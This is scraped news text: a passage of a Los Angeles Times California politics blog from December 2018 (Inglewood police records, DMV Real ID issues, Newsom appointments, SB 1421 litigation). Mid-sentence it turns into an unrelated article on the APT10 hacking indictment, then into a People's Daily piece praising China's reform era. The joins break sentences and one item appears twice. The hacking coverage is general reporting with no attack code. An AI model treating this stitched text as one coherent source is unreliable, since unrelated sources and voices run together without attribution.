years. The city of Inglewood, however, had kept records longer than that, including case files of police shootings dating to 1991. State Sen. Nancy Skinner (D-Berkeley), the author of SB 1421, intended for her bill to allow public access to all qualifying records held by a department, no matter the date of the incident. Inglewood City Council approved the destruction of records that have been in the police departments possession more than 100 cases longer than required by law. The city staff report and council resolution describing the action makes no mention of the new police transparency law. Instead it says the affected records are obsolete, occupy valuable space, and are of no further use to the police department. It added the traditional method of destroying such records is to shred them. It is unclear whether the records have since been destroyed. A spokesman for the Inglewood Police Department along with Inglewoods city manager, attorney, clerk, four council members and Mayor James T. Butts, a former Santa Monica police chief, did not respond to requests for comment. Inglewoods City Hall is closed the last two weeks of December. The Inglewood Police Department has a reputation for secrecy and using excessive force. In 2008, the departments officers fatally shot four men in as many months, three of whom turned out to be unarmed. The U.S. Department of Justice launched a civil rights probe and found significant flaws in the way the department oversaw use-of-force cases and investigated complaints against officers. Civil rights advocates still question why Inglewood police opened fire on a couple found sleeping in a car in 2016, killing them both. California police have a long history of shredding records to avoid scrutiny of their actions. In the 1970s, the LAPD famously destroyed more than four tons of personnel records after defense attorneys began requesting them as part of criminal cases against their clients. The move resulted in the dismissal of more than a hundred criminal complaints. In response, the Legislature demanded that records be preserved but then took other measures, supported by police unions, to ensure the public had very little access to them, making California the most secretive state in the nation when it comes to police misconduct. Skinners legislation begins to unwind those laws, which have been on the books since 1978. No video or audio of the Dec. 11 council action is available on the citys website and neither are meeting minutes or any record of the decision. A city spokeswoman, Courtney Torres, confirmed that the council had voted in favor of the police records purge, and said all the relevant reasons for the decision were included in the city staff report. The Jan. 1 implementation for SB 1421 has prompted other police officials to act. A police union in San Bernardino is asking the state Supreme Court to determine that Skinners bill only applies to incidents that occur in 2019 or later. Los Angeles Police Department Chief Michel Moore sent a letter to Skinner earlier this month warning that complying with the law in regard to older records in the departments possession could take hundreds of thousands of work hours. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Federal officials question California DMVs process for issuing Real IDs (Kent Nishimura / Los Angeles Times) The U.S. Department of Homeland Security has notified the California Department of Motor Vehicles that its process for providing residents with federally recognized identification cards is not adequate. DMV spokesman Armando Botello said Friday that 2.3 million residents who received Real IDs under the current process will have to submit additional documentation when their cards are renewed in five years but will be able to use them in the meantime. The DMV is developing a way for residents to submit more documentation online or via email to comply with the stricter federal requirement, he said. But some state legislators are upset about delays in notifying them of the problem and say Homeland Security could eventually require additional documentation provided by current holders. The DMV has known for a month that millions of Real IDs theyve been dolling out are potentially invalid, Assemblyman Jim Patterson (R-Fresno) said. The DMVs only hope is that the Department of Homeland Security takes pity on California and gives the DMV more time to fix this mess. Real IDs are a new kind of driver license and identification card that federal law will require legal residents to present when boarding domestic flights or visiting military bases and other federal facilities starting Oct. 1, 2020. The DMV has only been requiring one form of documentation, including a current lease or utility bill, to verify the residence of a card applicant. But the federal government said in a Nov. 21 letter to the agency that two such documents are needed. On Friday, DMV Director Jean Shiomoto released a letter defending the current process but said her agency will start requiring a second document to prove residency in April. In order to minimize confusion among our customers, the CADMV will work to inform individuals who have been issued a Real ID under the current process that their card will be accepted for official federal purposes, even if their renewal occurs after the October 1, 2020, final enforcement date for Real ID, Shiomoto wrote to the federal agency. Legislative officials worry there is still a possibility that those issued Real IDs in the past might be required to present a second document to have their cards designated as compliant. The more complex process for obtaining Real IDs has led to hours-long waits for customers at DMV field offices this year, although wait times have been reduced recently by an increase in staffing. Shiomoto last month announced that she is retiring amid problems with the motor voter registration system and after the governor ordered an audit of her agency in response to the long wait times. On Friday, Assembly Republican Leader Marie Waldron of Escondido blasted the DMV for waiting a month to tell legislators of the problem. This is unacceptable and flies in the face of security for our citizens, which is what Real ID was created for in the first place, she said in a statement. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement Gov.-elect Gavin Newsom taps Keely Bosler to be his finance director Keely Bosler, the director of the California Department of Finance, will continue in that role under Gov.-elect Gavin Newsom. (California Department of Finance) Gov.-elect Gavin Newsom on Friday appointed Keely Martin Bosler as director of the California Department of Finance, continuing the role she has served under Gov. Jerry Brown since August. Bosler will become Newsoms chief fiscal advisor, and will play a pivotal role in shaping Newsoms spending plan for the state that will lay the foundation for his top policy priorities. Newsom must roll out his first budget plan within days of taking office on Jan. 7. Californias brighter future depends on a strong, stable fiscal foundation, Newsom said in a statement released Friday afternoon. Keely is an accomplished public servant of sound fiscal judgment. She understands that state budgets are more than numbers on a page they are value statements affecting the fate and future of millions of families reaching for the California Dream. We are fortunate to have her on our team. Prior to being appointed finance director, Bosler served as Browns cabinet secretary for two years and, before that, as the chief deputy director for budget in the Finance Department for three years. Earlier this year, Brown picked Bosler to lead an audit of the Department of Motor Vehicles, which had come under fire for long wait times at DMV field offices and numerous computer problems, including errors in the new motor voter program that registered Californians to vote. As we have discussed, long wait times at the Department of Motor Vehicles do not reflect the high standards of service that Californians expect from their state government, Bosler wrote in a letter in September to DMV Director Jean Shiomoto. The audit is still ongoing, but Shiomoto has since announced she will retire at the end of the year. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Californias legislative analyst, after decades of nonpartisan research for lawmakers, calls it a career Legislative Analyst Mac Taylor, who has led the state research unit since 2008, will retire on Dec. 31. (Rich Pedroncelli / Associated Press) Only five people have led the independent research office of the California Legislature since its creation in 1941. And each of them has had a pretty simple mantra to live by in reviewing public policy proposals and government programs: Call it like you see it. The job of any analyst, to me, is you maintain that nonpartisanship, Legislative Analyst Mac Taylor said. Taylor, 65, will retire from the post at the end of December after a four-decade career with the research team that began, as he likes to tell it, just after the passage of the landmark property tax rollback, Proposition 13, in 1978. He became the leader of the office, with the title of legislative analyst, in October 2008. Two months later, state government found itself in arguably the worst fiscal crisis in its history a projected shortfall that ultimately grew to $42 billion by the following winter. There were forces beyond our control, Taylor said of that time. But dont underestimate the policy changes that were made afterward. Those changes, most notably a boost in taxes paid by high-income earners and a robust state budget cash reserve fund, have helped lead to successive years of fully funded government services. The state is projected to have some $24 billion in reserves by the end of the current fiscal year. Taylor announced his intention earlier to step down this year. Leaders from both houses of the Legislature select the analyst, who leads a staff of almost five dozen researchers. The office provides in-depth reports on pending legislation, as well as on broader policy topics like education and healthcare, and produces an independent analysis for every proposed ballot measure. A succession of lawmakers and governors alike have praised or panned the work of the Legislative Analysts Office based on their own political worldview. Taylor said his staff is mindful that they work for legislators, but try to ignore the rhetoric that follows the release of a major report. People are going to do what theyre going to do with our information, he said. They dont always like it, but they appreciate that we give them our best advice. Taylor oversaw a transformation in the way the Legislative Analysts Office distributes its information, embracing the release of research reports through social media instead of relying on traditional printed copies and journalist roundtable events. But he said the work of the researchers has remained largely unchanged through the decades. Having an independent take on things, I think, is good for the Legislature, he said. No replacement for Taylor has been announced, which means a short transition for his eventual successor before Gov.-elect Gavin Newsom sends his first budget proposal to lawmakers in early January. Taylor, who lives in the Sacramento suburbs, said he will honor the tradition of his predecessors in stepping away from public policy debates in order to give the new analyst space to lead the team as he or she sees fit. He said he hopes to travel in the coming years and spend time with his children who have moved to the East Coast. Forty years in state government, Taylor said in why he was stepping aside now. Isnt that enough? Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Gov. Jerry Brown sues to save California sentencing laws By Don Thompson, Associated Press (Rich Pedroncelli / Associated Press) Outgoing Gov. Jerry Brown sued Thursday to protect one of his signature actions in office, a voter-approved measure that allows most prison inmates to seek earlier release and participate in rehabilitation programs. His administration filed a lawsuit challenging a pending 2020 initiative that seeks to toughen criminal penalties as part of an effort to roll back reforms adopted by voters within the last decade. Browns lawsuit in Sacramento County Superior Court contends the measure lacked enough valid signatures to overturn a previously approved constitutional amendment. County officials and California Secretary of State Alex Padilla certified the signatures in July but said they were submitted too late to qualify for last months election. The lawsuit names Padilla and the ballot measures official proponent, Nina Salarno Besselman, president of the advocacy group Crime Victims United. Padilla said the measure exceeded the required roughly 366,000 valid signatures, equal to 5% of votes cast for governor in 2014. Browns lawsuit says he used the wrong threshold. It says changing the state Constitution requires 8%, or more than 585,400 signatures. That makes the pending initiative more than 150,000 signatures short, the lawsuit says. Hes wrong, said Jeff Flint, a spokesman for the campaign backing the measure. He predicted a judge will be reluctant to reject a measure that already has qualified for the ballot. The secretary of state told us how many signatures are required, and thats how many we collected, Flint said. Padillas office did not immediately respond to requests for comment. The measure would reverse reforms adopted by voters through Proposition 47 in 2014 and Proposition 57 in 2016. Proposition 57 allows most inmates to seek earlier paroles, and Proposition 47 reduced some drug and property crimes from felonies to misdemeanors. The combination has helped keep Californias inmate population below a population cap set by federal judges. Corrections department spokeswoman Vicky Waters said the measure gives corrections and parole officials broad discretion to protect our communities and fashion a rational system of rehabilitation and punishment. This new initiative unlawfully seeks to supplant the departments constitutional authority to implement these critical reforms to our criminal justice system. The pending initiative would shorten the list of crimes that qualify for earlier parole and change some theft crimes from misdemeanors back to felonies. It would also increase the number of crimes for which DNA is collected, a list that was limited when some crimes went from felonies to misdemeanors. Those supporting the tougher penalties say easing criminal penalties has increased the number of dangerous criminals on the streets, but those backing the changes say they have helped reduce mass incarceration and rehabilitate convicted criminals. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California Supreme Court orders records unsealed in pardon of ex-state Sen. Roderick Wright Former state Sen. Roderick Wright (Anne Cusack / Los Angeles Times) The California Supreme Court has granted a request to unseal court records involving Gov. Jerry Browns decision last month to pardon former state Sen. Roderick Wright for felony convictions involving lying about living in his legislative district, officials said Thursday. The court order was in response to a request by the nonpartisan First Amendment Coalition, which argued that the public has a right to know what information went into the governors decision to grant clemency to Wright. This is an important victory for public access to court files involving the exercise of executive clemency, said coalition spokesman Glen A. Smith. We are gratified the court has recognized that these decisions should be subject to the same public access rules that apply to other judicial records under California law. The court gave Browns office until Jan. 2 to redact confidential material before giving the court documents that can be released to the public. The court files submitted by the governors office include letters of support for a pardon and an internal review of Wrights case. The court denied a motion to unseal the records of all clemency cases but left open consideration of requests on other individual cases. Browns office is currently evaluating the courts decision, said spokesman Brian Ferguson. The governor argued against unsealing records in a recent court filing that said confidentiality is consistent with historical practice and is supported by state law. In pardoning Wright on Nov. 22, the governor wrote: He has shown that since his release from custody, he has lived an honest and upright life, exhibited good moral character, and conducted himself as a law abiding citizen. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement California political watchdog agency fines BART, urges prosecution over using public funds for campaign A Bay Area Rapid Transit train leaves the station in Oakland in this 2013 file photo. (Ben Margot / AP) Californias state political watchdog agency on Thursday imposed a $7,500 fine against the Bay Area Rapid Transit District and called for a possible criminal or civil prosecution over allegations the district used public resources to campaign for a 2016 bond measure. The state Fair Political Practices Commission levied an administrative fine against BART for its failure to disclose spending on YouTube videos, social media posts and text messages to promote Measure RR, which authorized $3.5 billion in general obligation bonds. Though the panel lacks authority to seek criminal charges over the misuse of public funds, it also urged county district attorneys in the BART service area and the state attorney general to pursue possible criminal or civil charges over the spending of taxpayer dollars for campaign purposes, Commission Chairwoman Alice Germond said. It is the concept of misusing public funds that I think we all here are very disturbed about, and we want to send a warning and not create a precedent that is a minor, little slap on the wrist, Germond said, adding that the referral to criminal prosecutors would further send a message that this is wrong. Commissioner Brian Hatch also called for the state Legislature to consider granting the FPPC power to go after public agencies that spend taxpayer money on campaigns. Sen. Steve Glazer (D-Orinda) called on the agency to increase the fine to the maximum level of $33,375. The proposed $7,500 fine represents a slap on the wrist for a very serious violation of the law and the publics trust, Glazer said in a letter to the panel. In supporting the fine recommended by the staff, Germond said BART has agreed to pay the penalty. Somebody did something wrong and they have admitted it, she said. A staff report said there were factors in favor of a fine below the maximum. Although the Commission considers BARTs violations to be serious, the absence of any evidence of an intention to conceal, deceive, or mislead; the voluntary filing of the delinquent campaign statement; and the absence of a prior record are mitigating, the report said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print California police union seeks state Supreme Court review of new law disclosing internal investigation records Los Angeles Police Department officers. (Irfan Khan / Los Angeles Times) A police union is asking the California Supreme Court to block the release of internal officer investigations before a new state law takes effect next year. The San Bernardino County Sheriffs Employees Benefit Assn. filed a petition Tuesday asking justices to rule that only investigations of incidents that occur after Jan. 1 would be available under the law and not those the department has on file from years prior. The litigation comes after this years passage of Senate Bill 1421, which opens to the public for the first time internal investigations of officer shootings and other major uses of force, along with confirmed cases of sexual assault and lying while on duty. The law goes into effect Jan. 1, and the San Bernardino County Sheriffs Department has told the union it intends to make available in response to public records requests all the information it has. The union is very concerned about any plans to retroactively apply Senate Bill 1421, Grant Ward, the unions president, said in a statement. We believe retroactive application violates our members rights and we hope the California Supreme Court will consider the serious issues raised by our legal challenge. The bills author, Sen. Nancy Skinner (D-Berkeley), does not agree with the unions interpretation. She has said her legislation should apply to all the records in a police departments possession because the law simply declared that affected records were no longer confidential. If the record exists, its disclosable, Skinner said. A decision on what records will be available under the law is key to how far-reaching it will be. If the court restricts access to incidents that occurred prior to 2019, those cases will not be subject to public scrutiny. The police union in San Bernardino County is not the only one raising concerns about the law. Earlier this month, Los Angeles Police Department Chief Michel Moore sent a letter to Skinner expressing concern that his agency would be overwhelmed if the law required the department to disclose older incidents. Even if the law only applied to the previous five years, Moore wrote, it could take nearly 300,000 hours of work to comply with its provisions. The LAPD operates with a guiding principle of Reverence for the Law; as such, we will diligently comply with SB 1421, Moore wrote. We maintain, however, that a retroactive implementation of SB 1421 will be exceptionally burdensome and would require significant reallocation of front-line investigative personnel. Skinner said if complying with the law becomes untenable for law enforcement agencies that maintain records for a long time, she would consider modifications. But she said agencies did not raise this concern during discussion over the bill. SB 1421 went through multiple committee hearings, multiple floor debates, extensive opportunity for all parties to weigh in on concerns with its structure, she said. That was not an issue that was raised by law enforcement at the time. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Gov. Brown warns of backlash for Republicans in 2020 if Obamacare repeal is upheld Gov. Jerry Brown at the National Press Club in April. (Alex Wong / Getty Images) Gov. Jerry Brown warned Republicans on Tuesday that repeal of the Affordable Care Act would devastate the partys political chances in the 2020 election. Brown, speaking at a Sacramento Press Club event moderated by Los Angeles Times columnist George Skelton and Brown family historian Miriam Pawel, said a federal judges ruling last week to strike down the 2010 law if upheld by the U.S. Supreme Court will build such a backlash that the Democrats will not only take over the Senate, theyll win the presidency and will win with the kind of momentum, particularly on the issue of healthcare, that [the law] will be replaced probably with something even better. The governor, who leaves office in less than three weeks, said he did not believe the ruling by a Texas judge would ultimately prevail. I think the decision will probably be overturned, Brown said. Few states have embraced the law championed by former President Obama more than California, both through its healthcare exchange, Covered California, and by expanding access to government-funded services under Medi-Cal. Some 12 million Californians now receive healthcare through Medi-Cal, and Brown said a final ruling affecting the federal dollars that subsidize that care would be a serious blow. California would not be able to afford it without the subsidy, the governor said. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement Bars in Los Angeles, San Francisco could stay open until 4 a.m. under new bill A bar in Sherman Oaks (acuna-hansen) For the third year in a row, a California lawmaker is trying to keep bars open until 4 a.m. State Sen. Scott Wiener (D-San Francisco) is reintroducing legislation that would allow Los Angeles, San Francisco and seven other cities to extend the sales of alcohol in bars, clubs and restaurants by an additional two hours. Nightlife brings people together, fosters creativity and innovation, supports small businesses, and creates middle-class jobs, Wiener said in a statement. Its time to embrace our nighttime economy and give our cities the tools they need to foster the best nightlife possible. Last year, Gov. Jerry Brown vetoed a similar bill by Wiener, writing: I believe we have enough mischief from midnight to 2 without adding two more hours of mayhem. Should this years measure, Senate Bill 58, advance through the Legislature, Gov.-elect Gavin Newsom would decide whether to sign it into law. Los Angeles Mayor Eric Garcetti has endorsed SB 58, saying the city should have more flexibility than it does now. Every community has its own needs, and cities should be able to make informed decisions about what nightlife hours make sense for residents, visitors, and neighborhoods, Garcetti said in a statement. The bill would create a five-year pilot program where Los Angeles, San Francisco, Oakland, Sacramento, West Hollywood, Long Beach, Coachella, Cathedral City and Palm Springs could decide to allow restaurants and bars within their cities to serve alcohol until 4 a.m. with the approval of the state Department of Alcoholic Beverage Control. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Bars in Los Angeles and San Francisco could stay open until 4 a.m. under new bill A bar in Sherman Oaks. (Acuna-Hansen) For the third year in a row, a California lawmaker is trying to keep bars open until 4 a.m. State Sen. Scott Wiener (D-San Francisco) is reintroducing legislation that would allow Los Angeles, San Francisco and seven other cities to extend the sales of alcohol in bars, clubs and restaurants by an additional two hours. Nightlife brings people together, fosters creativity and innovation, supports small businesses and creates middle-class jobs, Wiener said in a statement. Its time to embrace our nighttime economy and give our cities the tools they need to foster the best nightlife possible. Last year, Gov. Jerry Brown vetoed a similar bill by Wiener, writing: I believe we have enough mischief from midnight to 2 without adding two more hours of mayhem. Should this years measure, Senate Bill 58, advance through the Legislature, Gov.-elect Gavin Newsom would decide whether to sign it into law. Los Angeles Mayor Eric Garcetti has endorsed SB 58, saying the city should have more flexibility than it does now. Every community has its own needs, and cities should be able to make informed decisions about what nightlife hours make sense for residents, visitors and neighborhoods, Garcetti said in a statement. The bill would create a five-year pilot program where Los Angeles, San Francisco, Oakland, Sacramento, West Hollywood, Long Beach, Coachella, Cathedral City and Palm Springs could decide to allow restaurants and bars within their cities to serve alcohol until 4 a.m. with the approval of the state Department of Alcoholic Beverage Control. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Californias DMV director announces retirement amid problems with motor voter program (Kent Nishamura/Los Angeles Times) The director of the California Department of Motor Vehicles will retire at years end with a number of questions unanswered about the implementation of a major voter registration system and long wait times experienced by customers for much of the past summer. Jean Shiomoto will not continue in her current role as Gov.-elect Gavin Newsom takes office, and announced to staff several weeks ago her intent to retire at the end of the year after 38 years in state service, spokesman Armando Botello said in an email to The Times on Friday. Newsoms transition team did not immediately respond to a request for comment on who might lead the department in 2019. Shiomoto was appointed DMV director by Gov. Jerry Brown in the fall of 2013, having served in prior leadership roles with the department. DMV officials have been sharply criticized by lawmakers in recent months for delays in serving customers at its field offices across the state. Last week, DMV officials revealed errors in registering California voters for the November election mistakes that followed a series of problems in the rollout of the states new motor voter registration system. Secretary of State Alex Padilla last week said he had lost confidence in Shiomotos leadership as a result of the voting registration problems. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement New law could break the stalemate over housing on the site of a near-vacant Cupertino mall By Liam Dillon For more than a decade, developers have tried to build new housing on the site of an all-but-empty mall in Cupertino, a city in the heart of Silicon Valley and home to Apple headquarters. A well-organized group of neighbors, upset about traffic, building heights and the potential loss of the communitys suburban lifestyle, turned away every plan. Now, for the first time, the stalemate might be broken thanks to a decision made in the state Capitol. In an effort to address Californias housing affordability problem, legislators passed a law last year that requires cities and counties to approve housing projects if they comply with local zoning rules and other standards, forcing some resistant communities to agree to new homebuilding. In September, the city of Cupertino, citing the state law, approved developer Sand Hill Property Co.s proposal to build an office park and more than 2,400 homes where the Vallco Shopping Mall sits. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Local government was a last bastion for struggling California Republicans. Not anymore By Mark Z. Barabak Theres no shortage of watery metaphors to describe the disaster that befell California Republicans this midterm election. A blue wave. A Democratic tsunami. But the most apt may be a flood, with the casualties steadily rising as the vote count climbed in the days and weeks following Nov. 6. Eventually half the GOP congressional delegation was washed away, along with the entire slate of statewide Republican candidates. In Sacramento, Democrats claimed 29 of 40 state Senate seats and seized three-quarters of the 80-member Assembly the largest number since 1883, when Chester A. Arthur was serving in the White House. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print For the Republicans left in Californias Legislature, fewer lawmakers will have to do more work By John Myers From January to late summer every year, the California Legislature is a perpetual motion machine. And in the new year, the people most likely to struggle in keeping up will be Republicans, vastly outnumbered but still responsible for representing millions of the states residents. There are 22 standing committees in the state Senate, plus at least a dozen more subcommittees or special committees. And after Novembers election, only 11 Republican senators will be left to divvy up the work. To the victors go the spoils. To the vanquished go the extra assignments. Read More Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Advertisement Californias DMV failed to finish registering 329 new voters before November election (Los Angeles Times) Officials at the California Department of Motor Vehicles said Friday that the agency failed to send information for 329 new voters to state elections officers in time for the November election, the latest revelation in a string of mishaps regarding voter registration. Secretary of State Alex Padilla responded with a blistering letter, calling on Gov. Jerry Brown or Gov.-elect Gavin Newsom to replace Jean Shiomoto, the DMV director. The Director of DMV has lost my confidence and trust, Padilla wrote. In all, the agency revealed that 589 mailed voter registration records that should have been processed under election deadlines werent sent to Californias secretary of state until late November, including forms from 260 drivers who had intended to update their address on existing voter registration records. The DMV had been instructed to not send registration forms that came in after Oct. 22, but the voters in question had forms that were postmarked before the deadline. In some cases, when the postmark wasnt legible, the agency said, documents inside indicated the voter had intended to finish their registration in time for the Nov. 6 election. The DMV recognizes the pause in transmittals was an error and affected the timing of the registration of the 589 individuals referenced above relative to the November election, Shiomoto wrote in a letter to Padilla on Friday. The pause was due to a misunderstanding on the part of the department, for which we take responsibility. Those who were trying to update their address for voter registration would not have been blocked from casting ballots. But officials said its unclear whether any of the 329 new voters were able to participate in the election. Shiomoto said in her letter that DMV will work with elections officials. The errors were not related to previous DMV mistakes about registering voters, problems associated with the rollout of the states new motor voter law. In those cases, multiple registration forms were sent to local elections offices for some voters, some people were assigned the wrong political party preference and others who are noncitizens were incorrectly placed on the list of registered voters. DMV officials have yet to respond to questions posed by The Times over the last several weeks about who knew of those mistakes and when. Facebook Twitter Show more sharing options Share Close extra sharing options Facebook Twitter LinkedIn Email Copy Link URL Copied! Print Newsom appoints a labor advocate and a former staffer as his chief deputy Cabinet secretaries By Taryn Luna A labor advocate and a San Francisco political operative have accepted positions in Gov.-elect Gavin Newsoms new administration. Angie Wei, a Capitol insider with deep ties to organized labor in California, will serve as a chief deputy Cabinet secretary with a focus on policy development. As a legislative director and chief of staff at the California Labor Federation, Wei has represented more than 1,200 unions and 2.1 million workers in Capitol fights over a host of policy issues, including drug-pricing transparency and paid family leave. The governor-elect also tapped Jason Elliott, a policy advisor to Newsom during his time as mayor of San Francisco and a chief of staff to San Francisco Mayor Ed Lee, as another chief deputy Cabinet secretary overseeing executive branch operations. Elliott and Wei will serve under Ana Matosantos, Newsoms previously Two hackers associated with Chinas main security service were charged with stealing troves of sensitive digital data from the Navy, the Jet Propulsion Laboratory and dozens of U.S. companies as well as American allies overseas, the Justice Department announced Thursday in its latest indictment aimed at suspected Chinese economic and military espionage. Among other targets, the two hackers allegedly stole confidential data from the Navy, including the names, Social Security numbers, dates of birth, salary information, phone numbers and email addresses of more than 100,000 sailors and other personnel. They also infiltrated computers linked to NASAs Jet Propulsion Laboratory in La Canada Flintridge, the Energy Departments Lawrence Berkeley National Laboratory in Berkeley and more than 45 companies in at least a dozen states, according to the indictment. The Trump administration has increasingly complained of what it describes as an alarming surge in sophisticated attacks on U.S. companies and agencies since early 2017 from hackers backed by Chinas Ministry of State Security, its chief intelligence service. Advertisement Experts say Beijing is trying to steal U.S. technological advances and intellectual property for commercial and military gain. The intelligence agency also seeks to identify people who are spying against it or whom it potentially can recruit as Chinese spies. The hacking is a major source of friction between Washington and Beijing as they also spar over punishing trade tariffs, Chinese military expansion in the South China Sea and Chinese-backed infrastructure projects in Africa and Latin America, among other disputes. While Russia, Iran, North Korea and other adversaries have conducted major cyberattacks on U.S. targets, FBI Director Christopher A. Wray emphasized the Chinese threat as the most pervasive. Chinas goal, simply put, is to replace the U.S. as the worlds leading superpower, and theyre using illegal methods to get there, Wray said at a Justice Department news conference Thursday. Chinas state-sponsored actors are the most active perpetrators of state-sponsored espionage against us. The hackers also penetrated computers in a dozen other countries, according to prosecutors, and government officials in Britain, Australia and New Zealand accused China of conducting a global cyber-espionage operation in violation of promises Beijing has made in international summits. This campaign is one of the most significant and widespread cyber intrusions against the U.K. and allies uncovered to date, targeting trade secrets and economies around the world, British Foreign Secretary Jeremy Hunt said in London. These activities must stop. U.S. Lt. Cmdr. LizaDougherty, a Navy spokeswoman, declined to comment on the security breach other than to say in a statement that the Navy takes any incident concerning personally identifiable information very seriously, and ensures that all affected sailors are notified immediately when an incident occurs. The indictment, from a federal grand jury in New York, outlines a Chinese operation that was ambitious and audacious in scope. Industries as varied as aviation, agriculture, banking and finance, telecommunications, consumer electronics, biotechnology, automotive supplies, mining and healthcare were targeted, the Justice Department said. The companies were not identified, but Wray described them as a whos who of the corporate world. The alleged cyber thieves worked for Huaying Haitai Science and Technology Development Co. in Tianjin, China, and they acted in association with the provincial office of the Chinese Ministry of State Security, the Justice Department said. Two Chinese nationals, Zhu Hua and Zhang Shilong, were accused of orchestrating extensive hacking campaigns that stole hundreds of gigabytes of sensitive data over the last 12 years, according to the Justice Department. Zhu and Zhang were indicted on charges of conspiracy to commit computer intrusion, conspiracy to commit wire fraud, and aggravated identity theft. The two are believed to be in China and could not be reached for comment. The Chinese Embassy in Washington did not respond to a phone message seeking comment. Zhu and Zhang were members of an infamous hacking group known in the cybersecurity community as Advanced Persistent Threat 10, or APT 10, according to prosecutors. The group was also known as Red Apollo, MenuPass and Stone Panda. Read the Justice Departments indictment against Chinese hackers Prosecutors said that the two hackers steadily improved their ability to breach network defenses in a continuous and unrelenting effort to steal software, technology and trade secrets. In some cases, prosecutors said, they used malware to get access to a digital network, and then to monitor victims computers remotely and steal user credentials. The hackers then transferred sensitive data to their own computers using encryption. Starting in 2014, prosecutors said, the group infiltrated computer networks of service providers that manage information technology for businesses and governments worldwide in an effort to steal intellectual property and confidential business data on a global scale. The group successfully hacked a managed service provider with offices in New York that compromised the data of the provider and clients in a dozen countries involved in banking and finance, consumer electronics, medical equipment and oil and gas exploration, prosecutors said. The service provider was not identified. In addition to attacks on U.S. targets, prosecutors said the hackers penetrated digital networks at companies in Brazil, Britain, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland and the United Arab Emirates. It is unacceptable that we continue to uncover cybercrime committed by China against other nations, Deputy Atty. Gen. Rod Rosenstein said at the news conference. Chinese hacking of U.S. trade secrets has surged since early 2017, according to research by CrowdStrike, a respected cybersecurity firm. That followed a lull in the months after Beijing and Washington reached an accord in 2015 to curtail cyber economic espionage. The Justice Department has responded with an aggressive series of arrests and indictments. Federal prosecutors disclosed in October that the FBI had arrested a Chinese intelligence operative in Belgium in a sting operation. Yanjun Xu, a senior officer with the Ministry of State Security, was charged with attempting to commit economic espionage and steal trade secrets from U.S. aerospace companies, including GE Aviation, by paying employees to steal secrets for him. Yanjun was flown to the U.S. and arraigned in a federal court in Cincinnati, where GE Aviation has spent decades developing jet engines and fan blades. The case marked the first known extradition of a Chinese spy to face U.S. charges. He has pleaded not guilty. In September, the Justice Department charged a Chicago man with giving Beijing detailed information on engineers and scientists who might make good recruits. In August, a former scientist at GlaxoSmithKline, a pharmaceutical giant, pleaded guilty in Philadelphia to federal charges of stealing data and research on biopharmaceutical products. The Justice Department also recently charged two Chinese researchers with conspiring to steal rice seeds designed for use in medicine. Sen. Mark R. Warner (D-Va.), vice chairman of the Senate Committee on Intelligence, applauded the indictment but called for a more comprehensive approach by the Trump administration. We have to punch back against Chinas malign activities but we also have to do more than play defense if were going to truly check Chinas bad behavior, he said. del.wilber@latimes.com Twitter: @DelWilber The year 2018 marks the 40th anniversary of China's reform and opening up. On Dec. 18, People's Daily published an article under the pen name "Guo Jiping", reviewing the achievements made by China during the past 40 years, summarizing the inspiration brought by reform and opening up, and looking into the future development. The abstract of the article is as follows. Thanks to the 40 years' reform and opening up, China has become the second largest economy of the world. Its remarkable achievements amazed the globe, making it the most exciting example in the history of human development. China has firmly adhered to the scientific judgment that peace and development remain the underlying trend of the times since the beginning of this great journey. The reform and opening up benefits from global peace and development, and in turn promotes global peace and development. China promotes and practices the concept of common, comprehensive, cooperative and sustainable security. As the permanent member of the UN Security Council, China has sent the highest number of peacekeepers, and offered peaceful solutions for hot issues in multiple regions. The history of the past four decades proves that China's development enhances the peaceful power to prevent wars. China has developed into the world's largest trader of goods, the largest country of outbound tourism consumption, and the largest export destination for over 70 countries and regions. In addition, it is the world's first country to hold an import-themed exhibition at national level. Constantly creating opportunities, China is serving as a stabilizer and engine for global economic growth, especially when the world economy is facing challenges and difficulties. China always insists in enhancing multilateralism rather than unilateralism in international relations, and to promote the legalization and democratization instead of the law of the jungle or power politics. Since the 18th National Congress of the Communist Party of China(CPC), China has been actively promoting building a community of a shared future for mankind, and issued a series of schemes to benefit the world, which has provided a whole new vision and pattern for the international relation system. China chose its path of development by itself. At the very beginning of the country's opening up, Deng Xiaoping, chief architect of China's reform and opening-up, had underlined that the modernization China pursues is the modernization with Chinese characteristics. Hence, China has embarked on a unique path of development. Niall Ferguson, senior researcherat the Hoover Institution, Stanford University noted that China's economic development and achievements have proved that economic success and political stability can be guaranteed without the western system. The reform and opening up is a career for China to learn from the world. The past 40 years was a process in which China kept studying all the achievements of human civilization and constantly improved its capability of studying. In May 2014, Xi Jinping, General Secretary of the CPC Central Committee, Chairman of the CPC Central Military Commission, and President of the People's Republic of China held a discussion with foreign experts in Shanghai, stressing that China will always be great country learning from others. Whichever stage of development it reaches, China will always learn from people of other countries in the world in a humble manner, enhance mutual tolerance, mutual learning and communication with other countries with a more open and inclusive attitude so as to elevate the opening-up to the outside world to new highs, President Xi remarked. Thanks to such modesty and 